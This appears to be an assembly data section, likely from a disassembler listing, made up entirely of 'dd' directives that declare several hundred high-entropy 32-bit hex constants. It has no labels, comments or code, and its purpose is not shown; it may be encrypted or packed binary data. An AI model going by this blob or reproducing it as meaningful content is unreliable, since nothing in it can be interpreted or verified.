dd 0D35725D6h, 0E4C20E28h, 8D2EDCF1h, 8FBCC5AFh, 66663634h
dd 4A527D81h, 0A7D629ECh, 0D11F3C4Ah, 2AABF11Eh, 660158AAh
dd 64A135CFh, 2AFCD3D5h, 2295A2Ah, 32C63533h, 501D1C63h
dd 0A4D56E3Dh, 3918C9ADh, 53F01BCAh, 21C48DCAh, 0AFA57776h
dd 7D23CB32h, 713E2BDAh, 5F189BA5h, 30AD1566h, 5D2EA31Ah
dd 762B97A8h, 251FEE09h, 0F4312291h, 0F83A8424h, 3B413928h
dd 602B2FDDh, 5E3A9A30h, 2C37C604h, 6C34A279h, 0B30543Ch
dd 1E2E1E1Eh, 0D2231107h, 57B52426h, 0A62B9B2Ah, 6A3A5CA0h
dd 8B92CAE8h, 8FF53474h, 0AD18B90h, 0DC5237h, 6A323A10h
dd 0A9932EAEh, 4EA02002h, 2E722887h, 74297E59h, 1B3562CFh
dd 35C4306Ch, 7190699Bh, 0B33F4C6Ah, 1DBDDFB2h, 0FD20BD5Eh
dd 10248267h, 31902786h, 1E20EAC6h, 323370EEh, 712B31B4h
dd 2E383721h, 6C2B3041h, 760DFF7Fh, 0F665F609h, 20273127h
dd 3EA7E6A0h, 582F2A39h, 230F8B36h, 0BD0412CEh, 3C243533h
dd 2CC12A5Dh, 1B372D3Ch, 791CFC0Fh, 5C30DE22h, 33CE0084h
dd 2FC224B0h, 62E68EDh, 17B6F7F8h, 2336B4A4h, 7096D139h
dd 223FC2C3h, 5BF55D03h, 26215F9Fh, 7FB9AC2Fh, 0FEC12525h
dd 31AA382Bh, 312EB07Bh, 29B566B9h, 3826B1B4h, 21B952D3h
dd 1AF44D17h, 20B60092h, 25007736h, 6C5F1445h, 2F2C291Fh
dd 6E302ECFh, 455A4044h, 19565E44h, 3F3C5D4Eh, 7F1EEE89h
dd 266F9375h, 342AD31Dh, 77268824h, 2D2F2BCFh, 5D263DEDh
dd 7D323241h, 40523465h, 832EFA50h, 5B5E3F1Eh, 8E1F1D68h
dd 2E824C22h, 67E1254Bh, 846D2E2Ah, 2D19AB6Bh, 9B3A06A7h
dd 773634h, 0CBC4D125h, 3FC1C2D0h, 0E1BDD2Fh, 1821141Fh
dd 402110E7h, 7C1DE4B6h, 1E6BA713h, 0B7E6332Fh, 0E63BDF3h
dd 0B11E6843h, 83D0075h, 0C4285C1Fh, 335E449Eh, 2E246DA9h
dd 0A12D78AEh, 2DA72F75h, 0CE612861h, 37E8BB27h, 97813626h
dd 0FA398BB6h, 0AE1E3879h, 391FEB1Fh, 0AC07AEAAh, 77246625h
dd 0EC197777h, 0C0AE4B0Eh, 3733B6F5h, 6EE896C7h, 3C343A36h
dd 143F31C2h, 101E121Ch, 94F2E20h, 2B04A760h, 0AB798228h
dd 7D46517Fh, 2607B264h, 3F3DB7CCh, 0BAAE99BAh, 1B72A23Fh
dd 26754D67h, 0AF212F9Eh, 98CD4D69h, 2AD6D4E0h, 0AA9A77Bh
dd 3226312Fh, 0BEBF36FBh, 0AAB3A6B7h, 90BD983Bh, 0EBD1836h
dd 80D01ED5h, 3D4E2619h, 67284727h, 24462C40h, 0D1712944h
dd 365E3C37h, 2D98275Ch, 3456937Eh, 0B00DDF6Fh, 401B08FDh
dd 44FE2005h, 10E3A501h, 6EA0D2A2h, 35792AE3h, 55F4CAD9h
dd 0D013F93Bh, 0D43BDBC9h, 98045EA2h, 1F05DFD8h, 5006021h
dd 56624E5h, 2AEA8219h, 6AAE2769h, 3973513Ah, 6D3C715Fh
dd 0BA307D4Eh, 63FE3779h, 0AE1759D3h, 992B61CAh, 62E32E67h
dd 2BE8F92Dh, 0F1BB1B6Bh, 27F131EEh, 162DFCDEh, 0E07CFD3Ah
dd 10337C91h, 69EA1A3Fh, 35377F58h, 550DCA7h, 1A2EAC18h
dd 3B52ABF1h, 35763BA3h, 34183EF2h, 374DF73Dh, 0FAEBC40Ah
dd 1F30DF38h, 0A0219D76h, 0D1562321h, 0A8F71BAEh, 6A4B632Ah
dd 322EF9D2h, 37B0C545h, 0F969A86Ah, 0E3559836h, 533CF91Ah
dd 6F777E1Ch, 50070900h, 2126250Dh, 4049467Bh, 0F2E5949h
dd 405D5D53h, 37185151h, 5E483F38h, 4D584B5Fh, 3670735Bh
dd 21520036h, 470D4217h, 5829444Eh, 417F2823h, 5C54105Fh
dd 3731341Dh, 7F564CFDh, 0B5E87636h, 0DD898CFh, 29AE7C9Eh
dd 952723BBh, 7F780329h, 0E0C4237Dh, 3D34EE12h, 0B748F509h
dd 0CF3A9820h, 4DD7E245h, 0F89D5D7Eh, 327E40E7h, 72C82621h
dd 0C632FB5h, 7B281978h, 345BF5C5h, 0B4D92F4h, 0B9A303BEh
dd 0CC046A3Eh, 0E53C0434h, 0E01C0C0Fh, 0CB06C621h, 84292735h
dd 433C5C3Ch, 752D2DA8h, 4F10F15Ah, 21960E75h, 7C2FC930h
dd 0BC2DDE1Dh, 6F77E3D3h, 0E267E71Fh, 0E121240Bh, 2A680861h
dd 0E925A79Bh, 65800469h, 70BC1875h, 33B91C27h, 0FD646733h
dd 0F54C459Eh, 2131F510h, 5007F53h, 5DE85667h, 0ADEB8D0Ch
dd 5B980F2Ch, 17925E3Ah, 0F9333037h, 0BE3B3B9Ch, 621A363Eh
dd 0DBEF9DC6h, 85F55720h, 883A4627h, 2C040A2Bh, 31D7AD3Dh
dd 72BA264Fh, 38D4323Dh, 0EBC40B3Bh, 0BA172C9Eh, 9F1CAFCFh
dd 0C271240Ch, 5556F522h, 9BB12129h, 7C8D1D2Ch, 3A523A62h
dd 830649DCh, 2210F989h, 7BDF929Ch, 0FE0D733Bh, 0C314521Eh
dd 3660CC22h, 0B9B8582Ah, 1E2C3492h, 745B7E2Fh, 0D7357359h
dd 0A39338E2h, 0EBEE3CEAh, 1DCDDC3Fh, 6B20CADBh, 9224F2D7h
dd 270B27F3h, 78852BFAh, 0E0612FFBh, 35E1A832h, 0EE38E649h
dd 0FA738E13h, 0D51BEF2Eh, 33101EC8h, 9F23F284h, 3D7026F0h
dd 2D862AF9h, 2A7DC82h, 0E26A2C07h, 0AC377650h, 71B43ECBh
dd 295D296Ch, 0CDFFB7F9h, 0ACF0A819h, 0E12674ABh, 0DA0233BAh
dd 2F4F2C2Ch, 0B42B720Ch, 3436604Fh, 0E617188Ah, 8D962F9Eh
dd 0FF44DF95h, 0A395EE77h, 421D560Dh, 7C462305h, 7C522EF8h
dd 0B209552Fh, 0E620CB1Dh, 0FA0A1EB7h, 2E243FB8h, 4A4A138Dh
dd 51A0E02Dh, 249B3002h, 1D2C2426h, 0AFFD7412h, 5B34451Ah
dd 0B5482CB2h, 3B7EB73Eh, 48613BFEh, 1C17803Bh, 3A1F531Eh
dd 2478A335h, 2A7719ECh, 2EAA2E18h, 3018A770h, 0E2205A2h
dd 20D0C1Ch, 60017139h, 65055307h, 25911D26h, 19931B80h
dd 0F4261FE6h, 0D910C812h, 2F152E16h, 8170A24h, 34360E02h
dd 1B3AB93Ah, 0EF33E3Ch, 731D2A45h, 0E3175229h, 2613C215h
dd 100611A2h, 12EA166Ch, 0F2BBF07Ch, 3666F4B0h, 3038A039h
dd 303A298Bh, 0A912139Fh, 65AA1116h, 0E50F2106h, 5DE8A36Ch
dd 0BAEC180Eh, 61B4082Ah, 35AB1FF3h, 0B952670Ah, 3DDB5912h
dd 0CDFBC3Fh, 243E19BDh, 0A2CB2A73h, 1A1B84C7h, 0C43FA1E9h
dd 0FD2ECC8Eh, 0DC1A33D5h, 39D573A6h, 143ADEA6h, 1ADDBDD5h
dd 1EFA4C6Dh, 0C151C907h, 26C20D25h, 39C20D0Eh, 25F1534Eh
dd 0DB1730D3h, 36D437BEh, 1F3BDDAEh, 5A7CCFD4h, 1FF951B9h
dd 0C0C3C83Ch, 27C12022h, 0D57B0A6Fh, 0AD652E3Eh, 74BA186Ch
dd 3673F30Bh, 39393B3Bh, 0E7BFB6Bh, 0E22BDB2Eh, 2200530Bh
dd 25A0CB71h, 43D7DA39h, 1A2C328h, 620BAD9Fh, 34D447DAh
dd 0B9636E94h, 1E6335E8h, 102DE01Ah, 6DF74877h, 33A52300h
dd 76780279h, 777629A0h, 0BBEC77ADh, 0EFB63A6Fh, 28372635h
dd 7FB6324Dh, 1B79B7C2h, 9477F614h, 0A863256Eh, 69AFE424h
dd 0D4D5142Ch, 5A112DD3h, 236CBC69h, 8D22DD67h, 2F273C2Bh
dd 1B6A47B8h, 1E963E03h, 28A87D3Ch, 7E30722h, 0A96DC021h
dd 1BEA042Fh, 2D9242Ah, 0B0AD30F0h, 26D13C3Eh, 0BE39BF7Eh
dd 0F51F1FB9h, 79249C16h
dd 272A6483h, 0EBABD3CEh, 29EBA32Eh, 0D1D82E06h, 0F38C37F1h
dd 93D03432h, 0D538B8F6h, 9FDC3BBEh, 201FE114h, 2523CAA5h
dd 34242659h, 0B1B0819h, 711F031Dh, 66037801h, 0B8076805h
dd 0EC0BFC09h, 0B0FCD0Dh, 5C2F2B2Dh, 0E3138811h, 0C017C515h
dd 661BDD19h, 431C4B1Eh, 0F800B502h, 0DB026707h, 0F90F680Ch
dd 7F081F09h, 0C22AD22Dh, 526DCC27h, 48388427h, 7527DA54h
dd 6A290C32h, 20309261h, 6934F539h, 0BD894B35h, 3E4D5158h
dd 0AF15A43Dh, 21557B1Eh, 7A25A3A3h, 444DE74Bh, 545C4849h
dd 305210DEh, 47435F12h, 392CC836h, 3D3C0B70h, 1F1B1B3Ch
dd 8C7D2AFEh, 0A4A70F42h, 4A04602Fh, 70861CDh, 3E6E49C5h
dd 0B81F1174h, 60D6B8DDh, 0D4673CF9h, 5983FD3Ch, 303E7AFCh
dd 412393C8h, 0C0973526h, 0B5C207AEh, 4E262F4Ch, 7760B10Dh
dd 57D700BFh, 7BECC668h, 0FF8EB85Dh, 151D9814h, 0A9E923D5h
dd 26CCAFF2h, 0FD0AFAD0h, 0FB26C408h, 16A5202Eh, 0DFBEE130h
dd 2939A4BAh, 1A1D4CE0h, 1DDDC8B4h, 0C2E110F4h, 26F72833h
dd 93C8F626h, 0EF6A02Ah, 12E3D8C4h, 0E83F33EAh, 111C5BBDh
dd 0B03CE639h, 3E8F20A2h, 83457F0Eh, 20834E2Ah, 0E934C7A6h
dd 7E7A7A28h, 5EEF59C5h, 54963262h, 9F67263Dh, 2E9F972Bh
dd 0DEB4BE62h, 9E454042h, 0C0C00E4h, 74798C4Fh, 60D62937h
dd 0AC65C6CCh, 650219DCh, 33F2F463h, 513B3918h, 3C3E2E9Eh
dd 1D9C5A59h, 7622203Dh, 2E0627A2h, 0AB4B2B27h, 2D2D0828h
dd 31B0115Fh, 48363416h, 3A1F3BB6h, 0BFB13FBFh, 1E1C3C3Ch
dd 0A7239E84h, 0A482230Ah, 2A280E25h, 3D2FAA9Ch, 0F5332F04h
dd 351F30B3h, 0B8EA7535h, 0B66C1739h, 707AEE78h, 464F4C4Ch
dd 7B73144Dh, 69542C4h, 1C432A58h, 535F202Ch, 25358221h
dd 0D036554Ah, 0BF396A55h, 0E93612F9h, 7F83217Eh, 0A87A672Fh
dd 0AC72F56Ah, 2EBA497Eh, 8F2B4F70h, 93723B21h, 36F6F958h
dd 1FCED168h, 0E32FAD70h, 113C0C7Bh, 3251337Eh, 0A6B5CC3Fh
dd 0B2D3924h, 0C62C2C3Bh, 405ED82Bh, 0F0BE0C37h, 0EEC86668h
dd 2EFF0018h, 1D136270h, 212F1F11h, 2A242C8Dh, 290A8C26h
dd 1F2C3B25h, 18130C22h, 63663F52h, 20013CA6h, 7DB4324Eh
dd 8A2BFEBDh, 60EC6C1Ch, 28566221h, 8037AACh, 0B292848h
dd 342F0FCDh, 642B3071h, 39375C04h, 122A6B73h, 6D353CBDh
dd 7381EC6Dh, 3B0191E1h, 0B9CE7076h, 206A58A8h, 0EAA52B2Ch
dd 31D9DABBh, 0C87B3FBFh, 589AA2D0h, 18267425h, 1E0E57C4h
dd 94C936FFh, 62D313A3h, 2B210C27h, 0C67B255Fh, 32D93822h
dd 0F0B4F531h, 563DFA69h, 34323D3Bh, 9DC11D3Eh, 0FC261937h
dd 233FC450h, 22E87ECFh, 86CC9A72h, 66C13FA5h, 8AB38DBFh
dd 0DBB9C8CBh, 623F7BFEh, 9A9B8760h, 1DA003D8h, 2B232D7Eh
dd 27272925h, 7B2B2C29h, 0B0236EADh, 7CCFBB2h, 9899C4F5h
dd 0CB337A39h, 0CAB477ECh, 1DEC1DECh, 7C22B18Eh, 0E677A1A9h
dd 7329AF28h, 0A46B634Eh, 720E156Ch, 443F053Ah, 12311144h
dd 12B575FDh, 0DE4C1DCAh, 80493411h, 74260537h, 3299FDD8h
dd 4BAC5D07h, 0C3622ECFh, 7CB522Dh, 0B3723A3Ah, 793C4D3Ah
dd 1EE498C0h, 4F069811h, 1DC42392h, 11C9F3DAh, 0EC9D2727h
dd 6A6DA52Dh, 15F033B1h, 383827F4h, 3ABE826Dh, 38670D7Ch
dd 0B0B4ED0Dh, 4E33223Ch, 83417738h, 6C093FD6h, 45702DAFh
dd 38379221h, 97654866h, 33260C3Ah, 143F3133h, 0E01E1A1Ch
dd 0FB863468h, 0E73367D5h, 3D732F28h, 37EA42EFh, 1316B5BDh
dd 6732B595h, 0FBE9C66Dh, 32FF0531h, 1EA01D1Ah, 7473711Dh
dd 0C72700CBh, 0D2AABF65h, 0B3A8232Ah, 0B235F0A8h, 0C906B54Dh
dd 0FA93BD38h, 8245BCB2h, 8E31A3Dh, 0AE159F7Ah, 396567A2h
dd 30EB89A7h, 2F460FA6h, 0F5B32E2Eh, 0F3BFB336h, 393CF568h
dd 3D54743Bh, 4373C054h, 211F5D8Eh, 24824621h, 0A1437621h
dd 282B220Ch, 0B93E2E7Ch, 24371645h, 0D81F30F2h, 7AFC3C39h
dd 0DA0B3C2Ch, 0C590901Dh, 23202122h, 370261E3h, 2B702938h
dd 0B61AB918h, 70068404h, 1800334h, 0CC40E18h, 7E063D12h
dd 0BE256523h, 1B211027h, 1D671F36h, 2AD8134Eh, 110810h
dd 790D0F13h, 0A4C0833h, 73B04E1h, 7A00382Eh, 20EA1D2Fh
dd 213B210Ah, 831AB01Ch, 0AD8EE18h, 0ADF124ABh, 7D3FAE2Fh
dd 6112E2F7h, 0D16A11E5h, 3D3B0B83h, 0A703272Eh, 1A2E18h
dd 2ECB42FEh, 0DA5C042Eh, 0ADF220Fh, 633C4413h, 3D7112B4h
dd 6B257475h, 0E6A92953h, 0F36E036Dh, 2F040F4Eh, 364C0790h
dd 0A3CE0396h, 0E22A8D88h, 6EE6A67Ah, 331A60F0h, 0F596DD30h
dd 6B1A3DFCh, 4E56846Ah, 20F5513Bh, 225A6008h, 2E5A552h
dd 95EB5545h, 0EFD226D7h, 78936EB2h, 0F511F0B0h, 3A31A871h
dd 0D2BC2F66h, 9EC05BF3h, 7224DE1Eh, 16277577h, 0A8089ED0h
dd 0A0EC2B7Ah, 671C0B52h, 55C6D50h, 4BBCAF5Eh, 8D6D2983h
dd 3867833Fh, 0D0021EF5h, 8421224Ch, 0F42B5672h, 0EC5EAB62h
dd 64FE022Fh, 35636311h, 0AC55AB0Dh, 0CD10A87Fh, 6E6BBB38h
dd 0E02ED22h, 200223C1h, 29A9E514h, 0B3829C8h, 456A382Ch
dd 2031912Dh, 0AAB4225Eh, 3F5AEC36h, 2B3FDD0Dh, 5C0E9339h
dd 0CEB9A0FDh, 24450349h, 5A282DC6h, 0DE2C9E29h, 6211320Ah
dd 5C378714h, 72B1681Ah, 8E7518A7h, 9DDBF33Fh, 20139E70h
dd 12723A2h, 0C13C2427h, 0B52D083Fh, 0D9342E08h, 3417F633h
dd 3C3BA01Eh, 2ADCD6D2h, 0E4393E0Eh, 0C8191C7Bh, 682203F8h
dd 2C4F8401h, 0E4C32D28h, 0F0172C1Eh, 35076331h, 0B83DE3Dh
dd 3D0C3238h, 0BBD71A34h, 0B11A1C2Fh, 707A19Bh, 0ADD9D8A0h
dd 2BBDA668h, 2FA0A52Fh, 0A476BB32h, 0F920B5ACh, 383AAFB0h
dd 47253DD4h, 15F6E3E6h, 2210DA77h, 0FEF53144h, 4220A227h
dd 686FA924h, 6F6F132Fh, 60358BB8h, 3AC6E2B4h, 0A3396BA6h
dd 1A1EC0BFh, 685F5B3Bh, 5A041020h, 632F2788h, 5207BE3Ah
dd 1B372D60h, 3515524Dh, 5A516531h, 3D733A52h, 594B3F26h
dd 21531C1Dh, 25232224h, 6033EABFh, 2CCB2229h, 31212F2Dh
dd 3435333Ah, 3BE7343Dh, 3C843939h, 0D7FB038h, 1E1F7700h
dd 582262E5h, 3BE2A68Ch, 0B6EEC2Bh, 0BB2E7271h, 637CD119h
dd 0CAF33165h, 0F4B97618h, 37B3FC3Dh, 5E396092h, 6277A2F7h
dd 2F058D03h, 2EE7682Bh, 5F79250Bh, 0DA63390Eh, 0D3B796C8h
dd 2D61393Fh, 0C13E3C7Ah, 0CA400E7Fh, 21AB1E1Ch, 61A4AE0Ah
dd 0A5A51302h, 1B2C930Eh, 53B37E3Ch, 23B55F5Ah, 3B2DC864h
dd 0B82D3B1Eh, 912A4AFEh, 2F1E3D99h, 4C736E21h, 0C02A2761h
dd 0AC93605Ah, 7FAFA062h, 7B33A4BBh, 6A664265h, 0B43375BDh
dd 44D77D4Eh, 1E261F2Ch, 2A562040h, 263060E2h, 244BA5C1h
dd 28EC23EEh, 732E15B4h, 6765211Eh, 0EBFB3E8Ah, 3333B662h
dd 0BE1614F8h, 0C9C9E800h, 21F627C3h, 1E322A87h, 272AEF2Eh
dd 36E537EBh, 5E5FF709h, 1A964C36h, 68B93332h, 0D1D4F91h
dd 0BB10F30h, 300EB370h, 0A28ED607h, 0DDD1A8C2h, 3130A32Fh
dd 0ECB0031h, 0BBBC38D9h, 553F3BAAh, 31943F97h, 0A294EBB3h
dd 581D7235h, 21536601h, 4CB9A1A9h, 0C8A4629Dh, 83BA1C23h
dd 28DF32D5h, 0E138DC4h, 5B339E09h, 6A1E12CCh, 2BE4A22Eh
dd 0A53BCD72h, 0D339EAD1h, 0C4AAC57Fh, 0D8323192h, 71BF7D2Ch
dd 8B7CB428h, 4DD66D38h, 6D1C1D0Bh, 0DF20B275h, 652E32C2h
dd 25115E1Eh, 0B12D2321h
dd 0AF680F67h, 0F90B1570h, 5E07E209h, 0B1024804h, 1D238100h
dd 2121BF1Fh, 26244723h, 191B1708h, 1D6E1B16h, 16A1F7Ch
dd 5420353h, 804061Eh, 0C770A7Fh, 2D400E6Ah, 11862F7Ch
dd 168213FFh, 1B7E14D3h, 1FAC19A8h, 5091DF7h, 0B7560768h
dd 215774B5h, 4F575B5Fh, 1B62BF58h, 3D3E203Ch, 3005205h
dd 46517E34h, 762B0B5Bh, 89AF252Ch, 68313132h, 346B5111h
dd 3FDE3C3Ch, 163E9C14h, 7D35191Bh, 5040561Fh, 4227240Ah
dd 104AA844h, 4D425F0Bh, 7B403044h, 57440E45h, 2DD9B521h
dd 5D2ADDB0h, 35F09828h, 0C071BA5Fh, 75356D81h, 68C08346h
dd 45647B22h, 0AB937C36h, 0AF874019h, 3D9834B1h, 3B56A19Ah
dd 1E713E54h, 0E17BFD5Ah, 2B8D23F4h, 4585BCA1h, 1F106267h
dd 991CEEEDh, 0F4008702h, 204FD06h, 0FE0F700Dh, 250A0409h
dd 0A828872Ah, 8214EB16h, 26119C13h, 0FE12A110h, 0DB16C614h
dd 33084608h, 37357535h, 383A9D39h, 7220AEFh, 26D4247Eh
dd 1B071909h, 1F7E1D6Ah, 13AF1145h, 3A761588h, 62252C91h
dd 0EBC52703h, 1213C47h, 79403CF3h, 1C1C25BFh, 1525346Ah
dd 60953400h, 265DEEA3h, 38FC267Ah, 302DBDD6h, 63633F51h
dd 0D16D0F65h, 0AD7DFBD8h, 9DF9DE7Ah, 277F1FDBh, 30DDA363h
dd 8A2624B5h, 3DEDDAA0h, 3CCF3D1Bh, 46C33643h, 0D052E431h
dd 0D9800C00h, 43B482Ch, 2C67122Fh, 13A92AC8h, 741A4525h
dd 8A56639h, 0D92C7D22h, 631AF087h, 36A68C3Bh, 3A9B3669h
dd 0D7926D01h, 0BE037C45h, 2685ED47h, 2475E437h, 0C9EE7852h
dd 276BEB16h, 0B1353023h, 8E30F94Bh, 1A193937h, 18D53E3Bh
dd 99535AF7h, 0A128193Ah, 8234323h, 250CABABh, 0ED2D6B4Dh
dd 61048F1Ch, 1530B15Ah, 0B959D347h, 19B0B02Ch, 9C1A9F2Ah
dd 643D9329h, 0CC732181h, 3D2F4640h, 282376BCh, 0F0542673h
dd 1499DB23h, 3AA7CC3Dh, 3C34F639h, 1B303E32h, 1F111D13h
dd 2C222EDFh, 28262A24h, 242A2628h, 202E222Ch, 333DCE30h
dd 3739353Bh, 3B353937h, 3F313D33h, 11E21C14h, 2D212F1Fh
dd 0A6642B23h, 65433A45h, 6B4D2F41h, 225BB007h, 0DE65C5B8h
dd 3A50B81Bh, 6811F8B8h, 59DBD3B4h, 21603B5Eh, 46CCB26h
dd 2DFA69F0h, 5C447A2Ah, 11D678AFh, 0FF7AB352h, 53BF732h
dd 0D567518h, 165B669Eh, 37751035h, 0A0022861h, 0FC71B6Bh
dd 0E8C32B11h, 668D2EEFh, 0DC3132F0h, 0B674C7E9h, 0DD6A0BB9h
dd 0D7D73D3Dh, 0FCAC1DFEh, 0CB362520h, 0C726C798h, 0C32F29CBh
dd 2FCCA080h, 0C2BD113Eh, 0ABDE3334h, 79839CAh, 0D7393DC8h
dd 741DEE97h, 6C120EBh, 83D62C02h, 0D7F2BDCFh, 2D47D30Bh
dd 587142C7h, 0D794F0B2h, 4FFA0374h, 6674582Dh, 59A13DBFh
dd 0DE1431Fh, 1B274BC2h, 6B055964h, 0A4DFBB05h, 1FF1FA32h
dd 4097F009h, 29BA38FEh, 5D0138BBh, 1A195B3Dh, 0DF1F9255h
dd 243C223Eh, 2838263Ah, 2C342A36h, 30302E32h, 2B332D2Eh
dd 27372935h, 563B3A39h, 233F56C2h, 1E1E5EA2h, 23228044h
dd 0AE427520h, 0A82E290Dh, 7936C124h, 5937A371h, 233E5F7Bh
dd 0E97B3C52h, 0CEB53A56h, 17184C03h, 23E5C84Dh, 0EE204C77h
dd 1BC8C006h, 0ACDCC40Ch, 7F1DB17Eh, 263C3124h, 0D28E3932h
dd 8D244CC5h, 197439C7h, 2161400Fh, 46E4F443h, 0C19CFA57h
dd 81787831h, 365FF98Eh, 24007320h, 0D1683056h, 1E3B5774h
dd 196A54D6h, 16731A4Dh, 261B3223h, 1972ACD6h, 2E1FC92Bh
dd 982D1865h, 61FC3AE9h, 0BC1B3407h, 3E0D1E21h, 0B03D0675h
dd 6A1C2F61h, 2BD21FB1h, 6116B5E6h, 0A9C214ABh, 0A42FED1Eh
dd 5EF3B038h, 0A8746625h, 536A1ED8h, 4B684901h, 7B6D651Bh
dd 444F4940h, 6665A44Ch, 2A282127h, 2E2F2CD4h, 0F0E2C4DEh
dd 0E9653D33h, 3B39FA97h, 363DE633h, 39001AA7h, 3320FDEEh
dd 2D24FA8Eh, 2961F1F2h, 2DCF2136h, 31ECC73Ch, 0E4A6F73Ah
dd 0D1BE2B36h, 683D323Ah, 59EBE530h, 215AAE1Ch, 913B5E90h
dd 3234736h, 2CAE357Bh, 0C82FABDDh, 353332B4h, 3BA383E3h
dd 0A94B9F39h, 1A7F1E3Eh, 34B41CFEh, 0A66321A5h, 27A36924h
dd 812AAC7Fh, 422EA84Eh, 0B64A31B5h, 37B3B634h, 39DAB782h
dd 0BC3F3D2Bh, 4C972115h, 0CB29E19Ch, 6E3B2438h, 2B09089Fh
dd 0A086FF3Ch, 69DB465Ch, 0B4653AB3h, 34B28E39h, 2E3CB83Eh
dd 0D1E9B95h, 17300D88h, 27943323h, 265E992Eh, 0AD6E2922h
dd 0F31CAE2Bh, 3DFF603Ah, 6E20BA76h, 7C0BCF52h, 4B8C301Ch
dd 2C4E1E2h, 0A7432E2Eh, 56AE27DAh, 34DB3CCAh, 3D6DF151h
dd 396D27BCh, 16E71824h, 0A915EB69h, 48733A13h, 3B6A572Ch
dd 23CBAA48h, 5958A873h, 0C32E64A5h, 345EFB6Ah, 0DADA4E10h
dd 6716C46Dh, 2A1AA6E8h, 9F7A3E3Dh, 7B599022h, 12F0327Fh
dd 0C6464170h, 2AA96527h, 0AC9ECC66h, 0B259442Fh, 45B5504Fh
dd 5F4A3737h, 32BD494Ah, 717D72B7h, 4F416F7Eh, 76855346h
dd 4E5983A6h, 0E86C4444h, 584A9E0Eh, 0F5645546h, 0D8D07737h
dd 0C278C4DAh, 401B9E73h, 204F4F48h, 0D9CB063Dh, 0E0AC2725h
dd 0C42F28DDh, 33EF0A2Bh, 0DC1F33D0h, 32C8D2E4h, 643BBAC6h
dd 50D73A98h, 0E01EE2C0h, 27E5A266h, 27D9DBA5h, 81582A28h
dd 530A99A7h, 6DDAB031h, 3637F5D7h, 73CFE2Ch, 2BD42B3Dh
dd 11642E64h, 30987F08h, 242EE034h, 2F3EA928h, 0C62E2C8Bh
dd 20F9A2CFh, 5B34B6E0h, 0B8FF2E33h, 8724783Ah, 1981ABDh
dd 20A232B2h, 8525A233h, 2888B80Dh, 0CCEFE5A1h, 0A131EF27h
dd 5F305925h, 533D5D38h, 725628BAh, 1F713C54h, 43738ADh
dd 962264Bh, 5643Bh, 0E4A02E7Fh, 3007ACDDh, 36E4DA35h
dd 0FE363667h, 856D6A3Dh, 0DB4E4C55h, 0DFC6F59Ah, 0C366D02Bh
dd 0C56B0125h, 218A75ACh, 5F5E271Ch, 0FF32D446h, 7F965640h
dd 54481F59h, 8EDD87ECh, 0F853ED1Ch, 2221E1AEh, 75647427h
dd 0F797B25h, 7D78292Bh, 0B050626Ah, 5F474333h, 0BB3AC843h
dd 77BD3D09h, 717D6D51h, 56A37B77h, 12A45724h, 7A2F2E74h
dd 3AE647Eh, 76B02BA8h, 6A1E469Ah, 0F93413B6h, 393CC427h
dd 0B41F338Ch, 8E55B275h, 60332A61h, 0ED37A82Dh, 1541599h
dd 3CC3AF2Dh, 34126871h, 1C83BDE8h, 0F397A25h, 0F60C12E6h
dd 42DF97DCh, 6D7661E4h, 0EEA33514h, 1B1FAD27h, 4A7D0D1Fh
dd 5A443142h, 62165057h, 4D385856h, 5D5FEC9Ch, 14107977h
dd 4723A11Ah, 6F6CEB03h, 2A1C0774h, 231E1C05h, 5C5E7325h
dd 0DB554031h, 4A406C1Ah, 1E3D065Eh, 69647E4Bh, 21547731h
dd 2F294F4Fh, 0D885576h, 3FC86E93h, 24BB3A3Eh, 0C63092FEh
dd 343CBC9Dh, 6939F986h, 977D2F1Ah, 42DF0B59h, 807AE20h
dd 3841A4C5h, 0A6928082h, 14932BCFh, 35D25303h, 813A2BCh
dd 3A5B3AD9h, 7B1B3AB1h, 0E07610FCh, 21442220h, 7979658Fh
dd 0E83AEDABh, 282FA70Fh, 33DEB030h, 35363335h, 1C3A803Ah
dd 6A6DFD0Fh, 935F4B4Dh, 96AAB31Fh, 2C253007h, 2B822AD4h
dd 0A91A120h, 0BA31323Fh, 0B718BF31h, 3BC65044h, 2A3137B3h
dd 9D1A1A3Bh, 71760B99h, 2A1C03DDh, 26282826h, 222C242Ah
dd 3E30202Eh, 353B3C32h, 39373739h, 0C2F47B1Fh, 0C55BFB1Bh
dd 0B8A71F1Fh, 0A12EF3D1h, 25FBFB83h, 0AB8513D8h, 0C2E721FDh
dd 0C9557030h, 7DBCFA34h, 0BC74A1F1h, 0D83DEEBCh, 0F6D25091h
dd 0B72370FDh, 0AA6625FAh, 29C3ED65h, 0A4202DFAh, 0DB62F175h
dd 7B36349Dh, 76B7FA61h
dd 0AFDD4E0h, 1C4D6A1Ah, 192F5B69h, 0CF416427h, 6A2BB605h
dd 2CBBC567h, 10D80428h, 2A3236BDh, 3D3BBEDEh, 407FD53Fh
dd 4DEC433Dh, 2A904EF6h, 77265203h, 4D744F76h, 457D1F0Ch
dd 0F34A13C6h, 3324FB1Dh, 9B57656h, 0EDD45274h, 37AA384Eh
dd 0E61DF631h, 0B2A922B1h, 782426B1h, 0BFADA021h, 897F228Dh
dd 0D509AEF4h, 8C50FC5h, 0AF311B3Ah, 57D73D34h, 1F1D66F3h
dd 2022B121h, 6D142624h, 0C118F61Ah, 1C222D1Eh, 2C0223h
dd 6236060Ah, 0BF095F0Bh, 3F0DAD0Fh, 2A332816h, 16751454h
dd 55114C23h, 801DA913h, 1AC02C1Fh, 72B04D1h, 0C350119h
dd 740F3B02h, 3E0BA50Dh, 5C792C26h, 0B010C309h, 0B4652222h
dd 0C9294DF4h, 0C5E2A07Ah, 0C529AF57h, 7F1D3297h, 9C58B656h
dd 0FEA839C9h, 0D3F02DDh, 0C843369Dh, 0A03032E9h, 0AD7F29FEh
dd 99492996h, 61632A7Fh, 649E6335h, 3C670331h, 0BD6739CBh
dd 9E3C620Fh, 771D1D90h, 15232D20h, 1F061784h, 7B284304h
dd 0C7E0A6BCh, 0B801F105h, 3734F0DCh, 512E1D74h, 6EE50E3Dh
dd 97D3975Bh, 62BD0483h, 0E724332Bh, 0E7A2D824h, 0BE09A8EDh
dd 3332300Fh, 3C7708DBh, 0E2BD0F9h, 8EC2861Ah, 1D50903Eh
dd 0A844133Ah, 7B20232Fh, 3DECA426h, 2C2C1BE8h, 157C3FA3h
dd 0B934F52Eh, 57D03636h, 3DB83B90h, 85D33806h, 401E5E1Dh
dd 2EE30813h, 282CB641h, 462B16E5h, 18472ED2h, 353371AAh
dd 38379751h, 4B3B6A3Dh, 10D0172Ah, 1F111663h, 0DC295E41h
dd 588E784Ch, 98215423h, 2454BAF6h, 4532D393h, 37D7A63Fh
